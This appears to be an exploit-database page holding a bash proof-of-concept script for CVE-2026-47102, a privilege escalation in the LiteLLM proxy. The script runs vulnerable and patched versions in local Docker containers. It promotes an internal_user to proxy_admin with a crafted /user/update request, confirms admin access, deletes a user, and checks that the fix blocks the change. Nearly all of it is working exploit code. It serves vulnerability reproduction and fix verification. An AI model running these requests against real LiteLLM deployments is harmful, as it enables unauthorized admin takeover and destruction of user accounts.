5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / demo.sh SH
#!/usr/bin/env bash
#
# demo.sh — CVE-2026-47102 LiteLLM Privilege Escalation (internal_user → proxy_admin)
#
# One-click reproduction covering report sections 5.1 through 6.2:
#   5.1  — Start vulnerable LiteLLM container (v1.83.7-stable)
#   5.2  — Confirm service via docker logs
#   5.3  — Create internal_user account via /user/new
#   5.4  — Step 1: Admin grants a key with /user/update route access
#   5.5  — Step 2: Escalate to proxy_admin via /user/update  ← CVE-2026-47102
#   5.6  — Step 3: Verify admin access via /user/list
#   5.7  — Extension: Delete admin user directly via /user/delete
#   6.1  — Start fixed version (v1.83.10-stable)
#   6.2  — Verify fix: attempt /user/update role change (expected: blocked)
#
# Usage:
#   bash demo.sh              # full 5.1→6.2 reproduction (both versions)
#   bash demo.sh --keep       # keep containers running after demo
#

set -euo pipefail

cd "$(dirname "$0")"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

info()  { echo -e "${BLUE}[*]${NC} $*"; }
pass()  { echo -e "${GREEN}[PASS]${NC} $*"; }
fail()  { echo -e "${RED}[FAIL]${NC} $*"; }
warn()  { echo -e "${YELLOW}[!]${NC} $*"; }
banner(){ echo -e "\n${GREEN}████████${NC} $* ${GREEN}████████${NC}\n"; }

MASTER_KEY="sk-litellm-master-key"
KEEP=0

cleanup() {
    if [ "$KEEP" != "1" ]; then
        info "Cleaning up containers..."
        docker compose down --remove-orphans 2>/dev/null || true
        docker rm -f litellm-47102-privesc litellm-47102-fixed litellm-47102-db 2>/dev/null || true
    else
        info "Keeping containers running (--keep)."
    fi
}

remove_existing_containers() {
    docker compose down --remove-orphans 2>/dev/null || true
    for c in "$@"; do docker rm -f "$c" 2>/dev/null || true; done
}

wait_for_litellm() {
    local url="$1"
    local timeout="${2:-120}"
    info "Waiting for LiteLLM at $url (timeout: ${timeout}s) ..."
    for i in $(seq 1 "$timeout"); do
        if curl -sf "$url" >/dev/null 2>&1; then
            pass "LiteLLM is ready!"
            return 0
        fi
        if curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null | grep -q "401"; then
            pass "LiteLLM is ready (auth required)!"
            return 0
        fi
        sleep 2
    done
    fail "LiteLLM did not become ready within ${timeout}s"
    return 1
}

# Create an internal_user and get their API key
create_internal_user() {
    local target="$1"
    info "Creating internal_user account..."

    local resp
    resp=$(curl -s -X POST "$target/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1) || true

    local user_id
    user_id=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "")

    local user_key
    user_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$user_id" ] && [ -n "$user_key" ]; then
        pass "Internal user created!"
        info "  User ID:   $user_id"
        info "  API Key:   ${user_key:0:32}..."
        echo "$user_id" > /tmp/cve47102_user_id.txt
        echo "$user_key" > /tmp/cve47102_user_key.txt
        return 0
    else
        warn "Could not parse user creation response."
        info "Response: $(echo "$resp" | head -c 300)"
        return 1
    fi
}

# Step 1: Admin grants a key with /user/update route access
step1_grant_route_key() {
    local target="$1"
    local user_id="$2"

    info "Step 1: Admin grants key with /user/update route access..."

    local resp
    resp=$(curl -s -X POST "$target/key/generate" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$user_id\"}" 2>&1) || true

    local route_key
    route_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$route_key" ]; then
        pass "Key with /user/update route access granted!"
        info "  New API Key: ${route_key:0:48}..."
        echo "$route_key" > /tmp/cve47102_route_key.txt
        return 0
    else
        warn "Key granting failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 2: Escalate to proxy_admin via /user/update (CVE-2026-47102)
step2_escalate_to_admin() {
    local target="$1"
    local route_key="$2"
    local user_id="$3"

    info "Step 2: Escalating user '$user_id' to proxy_admin via /user/update..."
    info "CVE-2026-47102: /user/update allows self-modification of user_role"

    local resp
    resp=$(curl -s -X POST "$target/user/update" \
        -H "Authorization: Bearer $route_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_id\": \"$user_id\", \"user_role\": \"proxy_admin\"}" 2>&1) || true

    local new_role
    new_role=$(echo "$resp" | python3 -c "
import sys,json
d=json.load(sys.stdin)
data = d.get('data', {})
print(data.get('user_role', d.get('user_role', 'unknown')))
" 2>/dev/null || echo "unknown")

    if echo "$resp" | grep -q "user_id"; then
        pass "Privilege escalation successful!"
        info "  New role: $new_role"
        return 0
    else
        warn "Escalation may have failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 3: Verify admin access
step3_verify_admin() {
    local target="$1"
    local api_key="$2"

    info "Step 3: Verifying admin access (listing users via /user/list)..."

    local resp
    resp=$(curl -s -X GET "$target/user/list" \
        -H "Authorization: Bearer $api_key" \
        -H "Content-Type: application/json" 2>&1) || true

    if echo "$resp" | grep -q "users\|user_id"; then
        pass "Admin access confirmed!"
        info "User list:"
        echo "$resp" | python3 -c "
import sys, json
data = json.load(sys.stdin)
users = data if isinstance(data, list) else data.get('users', [])
for u in users[:5]:
    uid = u.get('user_id', '?')
    role = u.get('user_role', u.get('role', '?'))
    print(f'    - {uid} (role: {role})')
" 2>/dev/null || echo "$resp" | head -c 300
        return 0
    else
        warn "Admin verification incomplete. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Section 5.7 Extension: Delete a user directly
step_extension_delete_user() {
    local target="$1"
    local api_key="$2"
    local user_id="$3"

    echo ""
    info "Section 5.7 Extension: Deleting user '$user_id' via /user/delete..."

    local resp
    resp=$(curl -s -X POST "$target/user/delete" \
        -H "Authorization: Bearer $api_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_ids\": [\"$user_id\"]}" 2>&1) || true

    if [ "$resp" = "1" ] || echo "$resp" | grep -q "success\|deleted"; then
        pass "User deleted via /user/delete — arbitrary user deletion confirmed!"
    else
        warn "Delete response: $(echo "$resp" | head -c 200)"
    fi
}

main() {
    while [[ $# -gt 0 ]]; do
        case "$1" in
            --keep)  KEEP=1; shift ;;
            *)       warn "Unknown option: $1"; shift ;;
        esac
    done

    trap cleanup EXIT

    clear
    echo ""
    echo "  ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██╗   ██╗██████╗ "
    echo " ██╔════╝██║   ██║██╔════╝   ╚════██╗██╔══██╗██║   ██║██╔══██╗"
    echo " ██║     ██║   ██║█████╗      █████╔╝██║  ██║██║   ██║██████╔╝"
    echo " ██║     ╚██╗ ██╔╝██╔══╝     ██╔═══╝ ██║  ██║██║   ██║██╔══██╗"
    echo " ╚██████╗ ╚████╔╝ ███████╗    ███████╗██████╔╝╚██████╔╝██║  ██║"
    echo "  ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝"
    echo ""
    echo "  CVE-2026-47102 — Privilege Escalation via /user/update"
    echo "  CVSS 8.8 | Affected: <1.83.10 | Fixed: v1.83.10+"
    echo "  Root cause: /user/update allows self-modification of user_role"
    echo "  Reproduction: Sections 5.1 through 6.2"
    echo ""

    #####################################################################
    # Section 5.1: Start vulnerable LiteLLM container
    #####################################################################
    banner "Section 5.1: Starting vulnerable LiteLLM (v1.83.7-stable)"
    remove_existing_containers litellm-47102-privesc litellm-47102-db
    docker compose up -d litellm
    info "Container: litellm-47102-privesc (port 4002)"
    echo ""

    #####################################################################
    # Section 5.2: Confirm service running
    #####################################################################
    banner "Section 5.2: Confirming service running"
    info "Waiting for container to start, then showing logs..."
    sleep 5
    info "--- docker logs litellm-47102-privesc (last 10 lines) ---"
    docker logs litellm-47102-privesc 2>&1 | tail -10
    echo ""

    #####################################################################
    # Section 5.3: Create internal_user account
    #####################################################################
    banner "Section 5.3: Creating internal_user account"
    wait_for_litellm "http://localhost:4002" 60
    create_internal_user "http://localhost:4002"
    echo ""

    # Read saved credentials
    local INTERNAL_USER_ID
    local INTERNAL_USER_KEY
    INTERNAL_USER_ID=$(cat /tmp/cve47102_user_id.txt 2>/dev/null || echo "")
    INTERNAL_USER_KEY=$(cat /tmp/cve47102_user_key.txt 2>/dev/null || echo "")

    if [ -z "$INTERNAL_USER_ID" ] || [ -z "$INTERNAL_USER_KEY" ]; then
        fail "No internal user credentials available. Aborting."
        exit 1
    fi

    #####################################################################
    # Section 5.4: Step 1 — Admin grants key with /user/update route
    #####################################################################
    banner "Section 5.4: Step 1 — Granting key with /user/update route access"
    info "Vulnerability context: internal_user cannot self-grant /user/update route."
    info "Admin must explicitly create a route-restricted key for the user."
    echo ""
    step1_grant_route_key "http://localhost:4002" "$INTERNAL_USER_ID"
    echo ""

    local ROUTE_KEY
    ROUTE_KEY=$(cat /tmp/cve47102_route_key.txt 2>/dev/null || echo "")

    if [ -z "$ROUTE_KEY" ]; then
        fail "No route key available. Cannot proceed with exploitation."
        exit 1
    fi

    #####################################################################
    # Section 5.5: Step 2 — Escalate to proxy_admin (CVE-2026-47102)
    #####################################################################
    banner "Section 5.5: Step 2 — Escalating to proxy_admin via /user/update"
    info "CVE-2026-47102: /user/update endpoint checks THAT a user can update,"
    info "but does NOT restrict WHICH fields (e.g. user_role) can be modified."
    echo ""
    step2_escalate_to_admin "http://localhost:4002" "$ROUTE_KEY" "$INTERNAL_USER_ID"
    echo ""

    #####################################################################
    # Section 5.6: Step 3 — Verify admin access
    #####################################################################
    banner "Section 5.6: Step 3 — Verifying admin access"
    info "The escalated user's original API key now has proxy_admin role."
    step3_verify_admin "http://localhost:4002" "$INTERNAL_USER_KEY"
    echo ""

    #####################################################################
    # Section 5.7: Extension — Delete admin user
    #####################################################################
    echo ""
    banner "Section 5.7: Extension — Arbitrary user deletion"
    info "With proxy_admin privileges, /user/delete allows deleting any user."
    step_extension_delete_user "http://localhost:4002" "$INTERNAL_USER_KEY" "$INTERNAL_USER_ID"

    #####################################################################
    # Section 6: Fixed version comparison
    #####################################################################
    echo ""
    banner "Section 6.1: Starting fixed version (v1.83.10-stable)"
    remove_existing_containers litellm-47102-fixed
    docker compose --profile fixed up -d litellm-fixed
    wait_for_litellm "http://localhost:4003" 60

    echo ""
    banner "Section 6.2: Verifying fix (expected: blocked)"
    info "Fixed version v1.83.10 restricts which fields /user/update may modify."
    info "user_role changes should now require proxy_admin privileges."
    echo ""

    # Create internal_user on fixed version
    local FIXED_USER_RESP
    FIXED_USER_RESP=$(curl -s -X POST "http://localhost:4003/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1) || true

    local FIXED_USER_ID
    FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "")

    if [ -n "$FIXED_USER_ID" ]; then
        pass "Internal user created on fixed version!"

        # Create key with /user/update route
        local FIXED_KEY_RESP
        FIXED_KEY_RESP=$(curl -s -X POST "http://localhost:4003/key/generate" \
            -H "Authorization: Bearer $MASTER_KEY" \
            -H "Content-Type: application/json" \
            -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" 2>&1) || true

        local FIXED_ROUTE_KEY
        FIXED_ROUTE_KEY=$(echo "$FIXED_KEY_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

        if [ -n "$FIXED_ROUTE_KEY" ]; then
            # Attempt to escalate (expected: blocked)
            local fixed_esc_resp
            fixed_esc_resp=$(curl -s -X POST "http://localhost:4003/user/update" \
                -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
                -H "Content-Type: application/json" \
                -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}" 2>&1) || true

            if echo "$fixed_esc_resp" | grep -qi "error\|denied\|forbidden\|not allowed\|permission"; then
                pass "[FIXED] /user/update correctly blocked user_role modification!"
            else
                local role_check
                role_check=$(echo "$fixed_esc_resp" | python3 -c "
import sys,json
d=json.load(sys.stdin)
data = d.get('data', {})
r = data.get('user_role', d.get('user_role', ''))
print(r)
" 2>/dev/null || echo "")
                if [ "$role_check" = "proxy_admin" ]; then
                    warn "Escalation still succeeded on fixed version (unexpected)."
                else
                    pass "[FIXED] /user/update blocked escalation (role unchanged)."
                fi
            fi
        else
            warn "Could not create route key on fixed version."
        fi
    else
        warn "Could not create internal_user on fixed version."
    fi

    echo ""
    echo "  ==============================================="
    pass "Reproduction complete! (Sections 5.1 — 6.2)"
    echo "  Vulnerable:   http://localhost:4002 — CVE-2026-47102 CONFIRMED"
    echo "  Fixed:        http://localhost:4003 — ESCALATION BLOCKED"
    echo "  ==============================================="
    echo ""
    echo "  Attack chain:"
    echo "    1. Admin creates a key with /user/update route access for user"
    echo "    2. User calls  /user/update  →  user_role: proxy_admin  ← CVE-2026-47102"
    echo "    3. Verify     /user/list     →  full admin access confirmed"
    echo ""
    echo "  Root cause: /user/update allows self-modification of user_role"
    echo "    - No field-level restrictions in can_user_call_user_update()"
    echo "    - Any field including user_role can be changed by the user"
    echo "    - Fixed in v1.83.10 by restricting which fields non-admin can modify"
    echo ""
}

main "$@"